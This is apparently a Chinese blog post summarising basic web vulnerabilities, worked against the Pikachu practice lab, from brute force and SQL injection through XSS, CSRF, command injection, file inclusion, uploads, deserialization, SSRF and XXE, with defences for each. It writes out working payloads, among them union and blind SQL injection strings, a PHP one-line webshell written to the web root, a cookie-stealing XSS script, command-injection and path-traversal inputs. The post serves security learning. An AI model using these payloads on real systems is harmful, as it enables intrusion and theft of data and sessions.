web基础漏洞总结

一.Brute Force(暴力破解)

1.简介及概述

Brute Force,即暴力破解。记得在某位大佬的博客中写过一句对暴力破解很经典的总结:暴力破解=连续性的尝试+字典+自动化。其实就是去猜可能的密码,利用工具(如burpsuit)进行大量的输入,找到正确的密码。利用一个好的字典可以大大加快破解的进度。

暴力破解漏洞出现的原因:如果某个网站没有对登录实施防暴力破解的措施,或者实施 了不合理的措施,称该网站存在暴力破解漏洞。

可以从以下方面看一个页面是否存在暴力破解漏洞
✓是否要求用户设置了复杂的密码;
✓是否每次认证都使用安全的验证码;
✓是否对尝试登录的行为进行判断和限制;
✓是否在必要的情况下采用了双因素认证;

2.暴力破解漏洞测试的一般流程

(1)确认页面是否存在暴力破解漏洞 :
确认目标是否存在暴力破解的漏洞。
比如:尝试登录一抓包—观察验证元素和response信息,判断否存在被暴力破解的可能。
(2)对字典进行配置
根据实际的情况对字典进行配置,提高爆破过程的效率。
技巧一:
根据注册提示信息进行优化
对目标站点进行注册,搞清楚账号密码的一些限制,比如目标站点要求密码必须是6位以上,字母数字组合,则可以按照此优化字典,比如去掉不符合要求的密码。
技巧二:
如果爆破的是管理后台,往往这种系统的管理员是admin/administrator/root的机率比较高,可以使用这三个账号+随便-个密码 ,尝试登录 ,观看返回的结果 ,确定用户名。
比如:
输入xxx/yyyf返回“用户名或密码错误"
输入admin/yy返回"密码错误”, 则基本可以确定用户名是admin ;
因此可以只对密码进行爆破即可,提高效率。
(3)工具自动化操作
配置自动化工具(比如线程、超时时间、重试次数等) , 进行自动化操作。

3.暴力破解常见的一些防范手段及其分析

(1)不安全的验证码
验证码的常见作用:
防止登录暴力破解
防止机器恶意注册

验证码大概的的认证流程:
客户端request登录页面,后台生成验证码:
后台使用算法生成图片,并将图片response给客户端;
同时将算法生成的值全局赋值存到SESSION中;
校验验证码:
客户端将认证信息和验证码-同提交;
后台对提交的验证码与SESSION里面的进行比较;
客户端重新刷新页面,再次生成新的验证码:
验证码算法中一般包含随机函数,所以每次刷新都会改变;

on client:
查看页面源码,如果发现验证码是JavaScript随机生成,点击一次函数运行一次生成一个相应的验证码。
将数据包发送到burp的repeater中,对验证码进行判定,判定后台是否对验证码进行校验。修改验证码点击go,多次尝试发现返回的信息都是username or password is not exists,但是没有提示验证码错误。
可以判断出虽然我们对验证码进行了提交,但是后台并未对我们所提交的验证码进行验证。可以说,这样的防范措施形同虚设。

此种将验证码在前端进行实现的,并未在后端进行验证,在使用burp中无需特殊操作,和普通的暴力破解一样。

on server:
在表单中随便输入验证码和密码,输入验证码,提示错误。用burp抓包发送到repeater,进行判断。将验证码设置为空或随便输入一个验证码点击发送,发现右边的应答数据包出现了提示验证码异常的语句。
经过判断,我们发现后台对验证码有进行校验,这样的验证方式并不算是万无一失的,我们还需要对验证码的时效性进行进一步的检测。
我们改变输入的账号和密码,验证码保持不变,发现提示语句和之前的一样,只是在提示账号或密码错误,说明验证码是可以被重复利用的

将数据包发送到intruder,用户名和密码设置为变量用字典进行爆破,验证码输入一个正确的即可进行爆破

Tips:可以看返回包的长度来确定是否爆破成功,成功的那个肯定与其他的数据包长度有所不同。一般情况下,长的那个为爆破成功的

不安全的验证码-on server常见问题:
验证码在后台不过期,导致可以长期被使用;
验证码校验不严格,逻辑出现问题;
验证码设计的太过简单和有规律,容易被猜解

4.token并不能有效的防范暴力破解漏洞

思路:客户端token跟随用户名和密码一起提交给服务器并且与服务器端token值进行对比,那么也就意味着每次客户端请求服务器都会进行token值校验是否正确。如果我们想要爆破这样的登录入口就需要突破一个关键点,那就是每次请求前需要把上一次请求的响应包获取到,并将其中的token值截取出来。那么这个问题其实在burpsuite中实现是非常简单的。

5.防范暴力破解常见方法

(1)设计安全的验证码:这个验证码需要在后端进行验证,并且该验证码需要有一定的时效性;或者是构造复杂但是可用的图形验证码
(2)对认证错误的提交进行计数并给出限制,比如连续5次密码错误,锁定两小时,验证码用完后销毁,这个在上面提到过,能有效防止暴力破解,还有验证码的复杂程度。
(3)必要的情况下,使用双因素认证;

二.SQL-Inject(sql注入漏洞)

1.简介及概述

sql注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击着可以通过合法的输入点提交一些精心构造的语句 ,从而欺骗后台数据库对其进行执行,导致数据库信息泄漏的一种漏洞。
按输入的参数主要分为:数字型,字符型,搜索型三类

2.SQL注入流程

拿到一个查询条件的web网页,就需要对输入框做以下的事情
(1)判断是否存在注入(and 1=2或者输入’ 看是否有sql语句的报错),注入是字符型(如果是字符型就要考虑闭合单双引号等)还是数字型
(2)猜解SQL查询语句中的字段数(在使用union联合查询中,前后的字段数要保持一致)
(3)确定显示的字段顺序
(4)获取当前数据库
(5)获取数据库中的表
(6)获取表中的字段名
(7)下载数据

3.各种类型的注入

(1)post型注入
利用burp进行抓包,将抓到的包发到repeater,在输入点输入payload:1 or 1=1点击提交。看是否将所有用户的信息都返回在了页面上
(2)字符型注入
主要就是对前后的单双引号进行闭合
如:kobe’ or 1=1#
(3)搜索型注入
select from 表名 where username like ’ %k% ';
即将前后的单引号和百分号闭合注释掉即可
(4)其他类型注入
就是看后端的源码,看看多出了哪些符号,进行闭合即可

4.union联合查询

简介:通过union来拼接语句,去查询指定的语句

用法举例:
select username,password from user where id=1 union select 字段1 ,字段2 from 表名

注意:联合查询的字段数要和主查询字段数一致

那怎么判断主查询字段数呢,那当然是order by 呀
order by 列的数字:看order by后面的数字,是几就按查询结果的第几列排序,如果没有那列,则报错

当确定了主查询字段后,就可以进行构造联合查询语句去查询想要的数据了
例:a’ union select database(),uesr()#

一些常用的数据库函数:
Select version(); //取的数据库版本
Select database(); //取得当前的数据库
Select user(); //取得当前登录的用户

5.information_ schema

information_schema是mysql自带的数据库,里面包含了大量的重要信息,当发现注入点的时候,可以尝试对该数据库进行查询,从而获得更多的信息

如:SCHEMATA表:提供了当前mysq|实例中所有数据库的信息。是show databases的结果取之此表。
TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema ,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。

利用information_ schema的完整流程(以字符型为例):
首先在输入框中输入一个单引号,观察报错的回显,如果提示sql语句的错误,则说明网页后台将我们的输入拼接到了sql语句当中,说明存在sql注入漏洞。为了保险起见我们提交kobe’ or 1=1#再次进行测试,如果可以遍历出数据则更加证实了我们的猜想。
然后使用order by查看主查询有多少个字段,确定字段数后,用union做联合查询,想要获取information_ schema中的数据,至少要知道数据库名称
kobe' union select database(),user()#。然后通过information_ schema去获取pikachu一共有多少个表,表的名称是什么。
例:kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#
然后发现有一个表名叫users ,构造语句:kobe' union select table_name,column_name from information_schema.columns where table_name='users'#然后进行进一步的查询就可以查出用户的账号,密码等信息了

6.基于报错的信息获取

原理:在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。select/insert/update/delete都可以使用报错来获取信息。
条件:后台没有屏蔽数据库报错信息,在发生错误时会输出在前端

三个常用的用来报错的函数:
(1)updatexml()——输入错误的参数,该函数会执行一次,然后将执行后的结果回显
Select下报错的利用演示(字符型)
显示输入单引号,看报错会不会在前端进行输出。然后构造payloadkobe' and updatexml(1,concat(0x7e,version()),0)# 使用concat()函数是因为回显的前几位重要的数据有可能被过滤掉,然后再进行构造语句获取更重要的信息
如果回显只能输出一行的话在语句后面加limit一次一次地获取信息

insert/update注入
构造insert的payloadxiaohong' or updatexml(1,concat(0x7e,database()),0) or ' 可以将databases()换成其他的函数,从而获取到其他有用的数据
update与insert是一模一样的

delete注入
点击删除按钮,用burp进行抓包,将数据包发送到repeater,将id构造成闭合

1 or updatexml(1,concat(0x7e,database()),0)

选中右键,convert selection,对其进行url编码。
点击发送这样就可以得到数据库的名字了

(2)extractvalue()

kobe' and extractvalue(0,concat(0x7e,version()))#

(3)floor()
别问我为什么没写,实在是没理解呀

7.基于http头的注入

概述:一些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证)或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等等。会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑,则可能会导致基于http header的SQL 注入漏洞。

8.SQL盲注

概述:其实就是字面上意思的理解。后台对报错信息进行了屏蔽,当进行输入后,页面只会有正确或者错误的提示,或者干脆就什么提示都没有(我们无法根据报错的信息进行注入的判断)。

主要分为以下两个类别:
(1)基于真假的盲注
特征:不管是正确的输入,还是错误的输入,都只显示两种情况,即真或假
在这种情况下我们可以输入:and 1= 1/and 1= 2来进行判断
例如:kobe' and 1=1#,其实where语句就相当于一个判断语句,当后面的语句判断为真的时候就正确执行;反之则报错
当想要获取其他信息的时候,如数据库的名称,则可以构造如下语句:

kobe' and ascii(substr(database(),1,1))>113#

该语句通过对数据库名称的字母挨个取值,并将之转换为ascii码,通过确定其每个ascii的值,进而确定数据库的名称

(2)基于时间的盲注
特征:没错,这种情况就是传说中的什么信息都没有的盲注,属于是正经八百的“盲注”了
对于这种情况我们先来了解一个函数:sleep(),该函数可以理解为设定后台的执行时间
像这样:kobe' and sleep(5)#,看后台是否会执行我们的sleep()函数
将语句设置的高级一些:kobe' and if((substr(database(),1,1))='p',sleep(5),null)#
(补充:IF(expr1,expr2,expr3),expr1是判断条件,如果为真,则执行expr2,反之则执行expr3)
看页面是否会等待我们所设置的时间再进行返回

9.OS远程控制:

这个操作通过一句话木马来实现。
最经典的一句话木马:< ?php @eval($_ POST’yijuhua’]);?>

select 1,2 into outfile “/var/www/html/1.txt”
into outfile 将select的结果写入到指定目录的1.txt中
在一些没有回显的注入中可以使用into outfile将结果写入到指定文件,然后访问获取
前提条件:
1.需要知道远程目录
2.需要远程目录有写权限
3.需要数据库开启了secure_ file_ priv

获取操作系统的操作权限:kobe' union select "<?php @eval($_GET['test'])?>",2 into outfile "/val/www/html/1.php"#

10.sql漏洞之表(列)名的暴力破解

exist() 运算符用于判断查询子句是否有记录,如果有一条或多条记录存在返回 True,否则返回 False。
payload:

kobe' and exists(select * from abc)#
kobe' and exists(select id from users)#

输入第一个payload,如果返回错误则表示没有这个表。打开burp抓包,发送到intruder,接下来和暴力破解的思路一样,将abc设置为变量进行暴力破解
,这样我们就可以猜到表名,从而进一步猜到列名

11.sqlmap

由于这篇文章是基础漏洞的总结,相关工具的用法另外开一篇博文写吧

12.SQL注入漏洞常见的一些防范措施

代码层面
1.对输入进行严格的转义和过滤
2.使用PDO预处理和参数化 ( Parameterized )

关于预处理和参数化详解:
这种方法一般是在PHP中进行处理的,具体是,
1.先预发送一个sql模板过去
2.再向mysql发送需要查询的参数(不管参数怎么注入,mysql都能知道这是变量,不会做语义解析,起到防注入的效果,这是在mysql中完成的。)

网路层面
1.通过WAF设备启用防SQL Inject注入策略(或类似防护系统)
2.云端防护( 360网站卫士,阿里云盾等)
PHP防范转义+过滤

三.XSS(跨站脚本攻击漏洞)

1.简介及概述

其实从本质上讲,xss和sql注入都是未对用户的输入进行严格的审查而造成的漏洞,所以这里我就将他们放在一起写。
XSS是一种发生在Web前端的漏洞,所以其危害的对象也主要是前端用户。是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS与反射型的XSS(个人认为Dom型xss也是反射型的一种)。

危害:存储型>反射型> DOM型

一般情况下测试XSS漏洞的步骤
①在目标站点上找到输入点,比如查询接口,留言板等;
②输入一组”特殊字符+唯一识别字符”, 点击提交后,查看返回的源码,是否有做对应的处理;
③通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件 (构造闭合) ;
④提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞;

Tips:
1.一般查询接口容易出现反射型XSS ,留言板容易出现存储型XSS ;
2.由于后台可能存在过滤措施,构造的script可能会被过滤掉,而无法生效或者环境限制了执行(浏览器) ;
3.通过变化不同的script ,尝试绕过后台过滤机制;

2.反射型XSS

在输入框中输入一些特殊的符号如:;"’<>9999
查看这些特殊字符是否会被过滤,有没有被输出
查看返回页面的源码,CTRL+F在页面内查找我们输入的字符串,查看我们的输入是否会被原封不动的输出
如果在输入较长的字符串后,发现不能输入了,这是在前端进行的安全设置。只需要在该页面打开web开发者工具,找到限制输入长度的语句修改即可。
输入代码<script>alert('xss')</script>,可以发现输入的代码被执行
因为是一次性的,并没有存储到后台的数据库当中所以当我们刷新页面后弹窗消失

GET和POST典型区别:
GET是以url方式提交数据;
POST是以表单方式在请求体里面提交;

与post方式的xss漏洞相比,Get类型的更加容易被利用,只需要将带有xss漏洞的URL发送给目标即可

3.存储型XSS

和反射性xss形成的原因一样,区别就在于后台会将我们的输入保存到数据库当中,造成长时间的伤害。一般出现在像留言板这样的地方。

和之前的思路一样,在输入框中输入一些特殊字符,点击提交。打开页面源码,看是否对我们的输入进行了处理
和上面一样构造一个出现弹窗的jsp语句,提交后出现了弹窗。进行刷新页面发现弹窗还在,说明我们的输入被存储起来了

4.Dom型xss

你可以把DOM理解为一个一个访问HTML的标准编程接口。:Dom就是纯前端的操作

pikachu关于Dom型关卡,查看页面的源码:
<a href='"+str+"'>what do you see?</a>
还是构造一个弹窗:#' onclick="alert(666)”>
然后此处就变成了:
<a href='#' onclick="alert(666)">'>what do you see?</a>

由于Dom型xss为纯前端操作,都是客户端的事,所以无法通过WAF进行防御

5.XSS盲打

xss盲打指的是一种攻击场景。意思就是说我们的输入并不会在前端进行输出,也就是在后台才会进行输出,换句话说,只有管理员才会看到我们的输入。
例如提交:<script>alert('xni')</script>设置一个弹窗
这就是xss盲打,对攻击者来说只是尝试的输入,并不知道后台是否被输出,只是尝试的输入跨站脚本。管理员被x到,攻击者成功。这种危害比较大,如果在前端输入一段盗取cookie的脚本,管理员一登陆,管理员的cookie就会被获取。攻击者就可以伪装管理员登陆后台,后台的权限就大了。

6.XSS的过滤和绕过

XSS绕过-过滤-转换
(1)前端限制绕过,直接抓包重放,或者修改html前端代码
(2)大小写,比如: pt>
(4)使用注释进行干扰:
<scri<!--test--> pt> alert(111)</sc <--test--> ript>

总结几种常用的JSP注释符
普通注释:<!-- 注释内容 -->
隐藏注释:<%-- 注释内容 --%>,这种注释在客户端点击查看源码时是不会被看到的

XSS绕过-过滤-编码
后台过滤了特殊字符,比如< script>标签,但该标签可以被各种编码,后台不一定会过滤
当浏览器对该编码进行识别时,会翻译成正常的标签,从而执行.
在使用编码时需要注意编码在输出点是否会被正常识别和翻译!

如:<img src=x onerror=" alert('xss')" />可以把alert(‘xss’)进行HTML编码

当我们查看返回的页面源码时,发现只对小写的script标签进行了过滤,除了可以采用大小写混合的script标签外,还可以用img标签

<img src=x onerror="alert(666)">

7.关于htmlspecialchars()函数

htmlspecialchars()函数把预定义的字符转换为HTML实体。
预定义的字符是:
&(和号)成为&
“(双引号)成为”
‘(单引号)成为’
<(小于)成为<
‘>’(大于)成为>

可用的引号类型:
ENT_ COMPAT -默认。仅编码双引号。
ENT QUOTES -编码双引号和单引号。
ENT NOQUOTES -不编码任何引号。

8.XSS输出在href和js

(1)输出在href
一种仿URL的写法,Javascript:alert(666)
输入 Javascript:alert(666),这种写法不含有特殊字符,查看源码
在这里插入图片描述
点击后,发现有弹窗

(2)输出在js
构造之后的语句

 $ms='111'</script><script>alert('xss')</script>';   

9.获取cookie

获取本地cookie的演示(基于pikachu平台):

<script>document.location = 'http://127.0.0.1/pikachu-master/pikachu-master/pkxss/xcookie/cookie.php?cookie=' +document.cookie;</script>

这里的payload需要自己修改,由于都是本地,全部改成127.0.0.1即可,后面就是www后的路径。
执行之后,跳回了首页。

10.post xss

攻击post页面获取cookie的原理:
我们需要自己搭一个恶意站点,然后在网站上放一个post表单,将存放POST表单的链接发送给受害者,诱导受害者点击。 这个POST表单会自动向漏洞服务器提交一个POST请求,实现受害者帮我们提交POST请求的目的。我们只需要诱导受害者点击上面的链接就能窃取用户的Cookie。

URL的一般构成:
在这里插入图片描述
什么是跨域操作?
当协议、主机(主域名,子域名)、端口中的任意一一个不相同时,称为不同域。我们把不同的域之间请求数据的操作,成为跨域操作。
了安全考虑,所有的浏览器都约定了"同源策略”, 同源策略规定,两个不同域名之间不能使用JS进行相互操作。比如: x.com域名下的javascrip并不能操作y.com域下的对象。

11.XSS漏洞一般的防范措施

总的原则:输入做过滤,输出做转义
过滤:根据业务需求进行过滤,比如输入点要求输入手机号,则只允许输入手机号格式的数字。
转义:所有输出到前端的数据都根据输出点进行转义,比如输出到html中进行htm|实体转义,输入到JS里面的进行js转义。

四.CSRF(跨站请求伪造漏洞)

1.概述及简介

一句话概括就是,利用受害者的身份进行攻击。
是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操(如转账、改密等)。

我们在判断一个网站是否存在CSRF漏洞时,就是在判断一些关键信息的操作是否容易被伪造

csrf与xss的区别:
可以这样理解,CSRF是借用用户的身份进行的攻击,攻击者并没有用户的权限;而xss则是直接盗用了用户的身份。

2.如何确认一个web系统存在csrf漏洞

1,对目标网站增删改的地方进行标记,并观察其逻辑,判断请求是否可以被伪造
–比如修改管理员账号时 ,并不需要验证旧密码 ,导致请求容易被伪造 ;
–比如对于敏感信息的修改并没有使用安全的token验证,导致请求容易被伪造;
2.确认凭证的有效期(这个问题会提高CSRF被利用的概率)
—虽然退出或者关闭了浏览器,但cookie仍然有效,或者session并没有及时过期,导致CSRF攻击变的简单

3.CSRF token

造成CSRF漏洞的主要问题是一些重要的操作容易被伪造,我们最好的处理方法就是在请求时加一个随机数,并且在后台验证这个随机数

4.常见的防CSRF措施

增加token验证(常用的做法) :
1,对关键操作增加token参数,token值必须随机,每次都不一样;
关于安全的会话管理(避免会话被利用) :
1,不要在客户端端保存敏感信息(比如身份认证信息) ;
2,测试直接关闭,退出时,的会话过期机制;
3,设置会话过期机制,比如15分钟内无操作,则自动登录超时;
访问控制安全管理:
1,敏感信息的修改时需要对身份进行二次认证,比如修改账号时,需要判断旧密码;
2,敏感信息的修改使用post,而不是get ;
3,通过http头部中的referer来限制原页面
增加验证码:
一般用在登录(防暴力破解) ,也可以用在其他重要信息操作的表单中(需要考虑可用性)

五.RCE(代码执行/命令执行)

1.简介及概述

RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

远程命令执行
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而,如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器

远程代码执行
同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。
因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。

远程命令执行漏洞拼接代码后的payload:

127.0.0.1 & ipconfig

执行后如果成功返回了ip地址,说明此处可以通过拼接的符号执行其他的命令

小记:(1)DOS中&用法
这里需要注意的是”&&”与” &”的区别:
Command 1&&Command 2
先执行Command 1,执行成功后执行Command 2,否则不执行Command 2
Command 1&Command 2
先执行Command 1,不管是否成功,都会执行Command 2

(2)Command 1 | Command 2
“|”是管道符,表示将Command 1的输出作为Command 2的输入,并且只打印Command 2执行的结果。

(3)分号,当命令相同时,可以将不同目标用;来隔离,但执行效果不变,如执行过程中发生错误,则只返回错误报告,但程序仍会执行。
比如:
dir c:;d:;e:;z:
以上命令相当于
dir c:
dir d:
dir e:
dir f:
如果其中 z 盘不存在,运行显示:系统找不到指定的路径。然后终止命令的执行。
例:dir c:;d:;e:\1.txt
以上命令相当于
dir c:
dir d:
dir e:\1.txt
其中文件 e:\1.txt 不存在,但 e 盘存在,有错误提示,但命令仍会执行。
为什么?如果目标路径不存在,则终止执行;如果路径存在,仅文件不存在,则继续执行。

那么这里学习一个php函数
system(“”)执行外部程序,并且显示输出。

六.文件包含漏洞

1.简介及概述

在web后台开发中,程序员往往为了提高效率以及让代码看起来更加简洁,会使用”包含"函数功能。
比如把一系列功能函数都写进fuction.php中,之后当某个文件需要调用的时候就直接在文件头中写上
一句<?php include fuction.php?>就可以调用函数代码。
但有些时候,因为网站功能需求,会让前端用户选择需要包含的文件(或者在前端的功能中使用了”包含”功能),又由于开发人员没有对要包含的这个文件进行安全考虑,就导致攻击者可以通过修改包含文件的位置来让后台执行任意文件(代码)。这种情况我们称为"文件包含漏洞”

文件包含漏洞有"本地文件包含漏洞”和"远程文件包含漏洞”两种情况。

需要特别说明的是,服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。

常见的文件包含漏洞使用语句include()和require()
区别:include()当包含文件出现错误时,只生成警告,代码继续执行
require()当文件包含出现错误时,会停止代码的执行
include_once 函数:在脚本执行期间包含并运行指定文件。此行为和 include 语句类似,唯一区别是如果该文件中已经被包含过,则不会再次包含。如同此语句名字暗示的那样,只会包含一次;
require_once 函数:和 require 语句完全相同,唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含。

2.本地文件包含漏洞

按照设计这些文件都是后台自己存在的文件。但是由于这个文件名是前端传向后台的,也就意味着我们可以修改这个文件。
我们可以猜测一下后台的操作系统是win11,其中有很多固定的配置文件例如…/…/…/…/…/…/
可以多敲几个,最后都会跳到根目录。我们将文件名替换

../../../../Windows/System32/drivers/etc/hosts

如果猜测文件对的话,所有的配置文件就暴露出来了

3.远程文件包含漏洞

远程文件包含漏洞形式跟本地文件包含漏洞差不多,在远程包含漏洞中,攻击者可以通过访问外部地址来加载远程的代码。
远程包含漏洞前提:如果使用的incldue和require ,则需要php.ini配置如下( php5.4.34 ) :
allow_url_fopen=on//默认打开
Allow_url_include=on//默认关闭
写入一句话木马,危害极大。

我们将提交的目标文件路径改为一个远端的路径,读取远端文件

http://pikachu/test/a.txt

4.文件包含漏洞的防范措施

0.在功能设计上尽量不要将文件包含函数对应的文件放给前端进行选择和操作。
1.过滤各种./. ,http:// ,https://
2.配置php.ini配置文件:
allow_ url fopen = off
Allow_ url include= off
magic quotes_ gpc=on //gpc在
3.通过白名单策略,仅允许包含运行指定的文件,其他的都禁止。

七.文件上传漏洞

1.简介及概述

通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的,Apache、Tomcat、Nginx等都曝出过文件上传漏洞。

2.文件上传漏洞测试流程:

1,对文件上传的地方按照要求上传文件,查看返回结果(路径,提示等);
2 ,尝试上传不同类型的“恶意"文件,比如xx.php文件,分析结果;
3,查看html源码,看是否通过js在前端做了上传限制,可以绕过;
4 ,尝试使用不同方式进行绕过:黑白名单绕过/MIME类型绕过/目录0x00截断绕过等;
5,猜测或者结合其他漏洞(比如敏感信息泄露等)得到木马路径,连接测试。

3.一些限制的绕过方法

在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束
https://mp.csdn.net/upfiles/?filename=test.php%00.txt 此时输出的是test.php
这样就绕过了后缀限制,可以上传webshell了

如果后台对文件头等内容进行检测,则可以制作文件马的形式来进行绕过:
将一句话木马和正常图片进行合并
copy 1.jpg/b+2.php/a 3.jpg
b表示二进制文件
a表示ASCII码文件
3.jpg是制作后图片马的文件

八.越权漏洞

1.越权漏洞概述

由于没有用户权限进行严格的判断,导致低权限的账号(比如普通用户)可以去完成高权限账号( 比如超级管理员)范围内的操作。
平行越权: A用户和B用户属于同一级别用户,但各自不能操作对方个人信息, A用户如果越权操作B用户的个人信息的情况称为平行越权操作
垂直越权。A用户权限高于B用户 , B用户越权操作A用户的权限的情况称为垂直越权。
越权漏洞属于逻辑漏洞,是由于权限校验的逻辑不够严谨导致。
每个应用系统其用户对应的权限是根据其业务功能划分的,而每个企业的业务又都是不一样的。
因此越权漏洞很难通过扫描工具发现出来,往往需要通过手动进行测试。

2.水平越权

在pikachu平台的这个漏洞中,先进行登录,点击查看个人信息,然后向后台提交了一个get请求,提供了当前的用户名,然后后台将个人信息返回到了前端。我们只需在url中将用户名改为其他人的即可
发现,登录人和返回个人信息不同

3.垂直越权

还是以皮卡出上的漏洞进行演示
先登录管理员账号,进行添加用户的操作,用burp进行抓包,发送到repeater。将管理员账号退出登录,在repeater页面进行发送,重新登陆管理员账号,发现并没有添加成功。退出管理员账号,登录普通用户账号。在burp中获取页面
cookie就是普通用户的登录态
然后找到之前添加用户的post请求,发送到repeater
目前的管理员登录态是退出的,现在我们把这个登录态换成现在登录的普通用户的登录态。以普通用户的身份执行管理员操作。点击执行。返回pikachu,刷新页面。
可以看到添加用户操作成功,说明存在垂直越权漏洞

九.PHP反序列化漏洞

1.简介及概述

序列化的目的是方便数据的传输和存储。
在PHP应用中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。

(1)序列化serialize()
序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:
在这里插入图片描述
(2)反序列化unserialize()就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。

 $u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
    echo $u->test; //得到的结果为pikachu   

序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题

常见的几个魔法函数:
(1)__construct()当一个对象创建时被调用
当使用 new 关键字实例化一个对象时,构造函数将会自动调用。
构造函数就是当对象被创建时,类中被自动调用的第一个函数,并且一个类中只能存在一个构造函数。和普通函数类似构造函数也可以带有参数,如果构造函数有参数的话,那么在实例化也需要传入对应的参数,例如new Students($name, $age)
通常构造方法被用来执行一些有用的初始化任务,如对成员属性在创建对象时赋予初始值。

(2)__destruct()当一个对象销毁时被调用
__destruct() 是 PHP 面向对象编程的另一个重要的魔法函数,该函数会在类的一个对象被删除时自动调用。通常只是用来完成对象被删除时的清理动作而已。
我们可以在该函数中添加一些释放资源的操作,比如关闭文件、关闭数据库链接、清空一个结果集等

(3)__toString()当一个对象被当作一个字符串使用
__toString() 方法用于一个类被当成字符串时应怎样回应。
注意:此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。

<?php
class Person
{
    public $sex;
    public $name;
    public $age;
    public function __construct($name="",  $age=25, $sex='男')
    {
        $this->name = $name;
        $this->age  = $age;
        $this->sex  = $sex;
    }
    public function __toString()
    {
        return  'go go go';
    }
}
$person = new Person('小明'); // 初始赋值
echo $person;

输出为:go go go

(4)__sleep() 在对象在被序列化之前运行
serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,__sleep()方法会先被调用,然后才执行序列化操作。
可以在__sleep()方法里可以决定哪些属性被序列化
如果没有__sleep()方法则默认序列化所有属性

(5)__wakeup()
与 序列化函数类似 unserialize() 会检查是否存在一个 __wakeup()魔术方法
如果存在则会先调用__wakeup()方法在进行反序列化
可以再__wakeup()方法中对属性进行初始化或者改变。
tips:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。

十. SSRF(服务器端请求伪造)

1.简介与概述

其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制
导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据

数据流:攻击者----->服务器---->目标地址

根据后台使用的函数的不同,对应的影响和利用方法又有不一样

PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()

2.pikachu之ssrf(curl)

点进去后发现:
在这里插入图片描述
看到这个url参数了么,就是他导致的跳转
可以对其进行修改,输入其他的网址看是否会跳转到其他的页面

3.pikachu之ssrf(file_get_content)

和上面一样点击进去之后发现:
在这里插入图片描述
对file参数随便改~~

十一.XXE(XML外部实体攻击)

1.概述及简介
XML是一种类似于 HTML 的标记语言,但是 XML 没有使用预定义的标记。因此,您可以根据自己的设计需求定义专属于您的标记。这是一种十分有用的可存储、可搜索和可共享的格式存储数据的方法。最重要的是,因为 XML 的基本格式是标准化的,所以如果您跨系统或平台共享或传输 XML ,无论是在本地还是在互联网上,接收方仍然可以根据标准化的 XML 语法解析数据。

XXE 概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。

  • 4
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值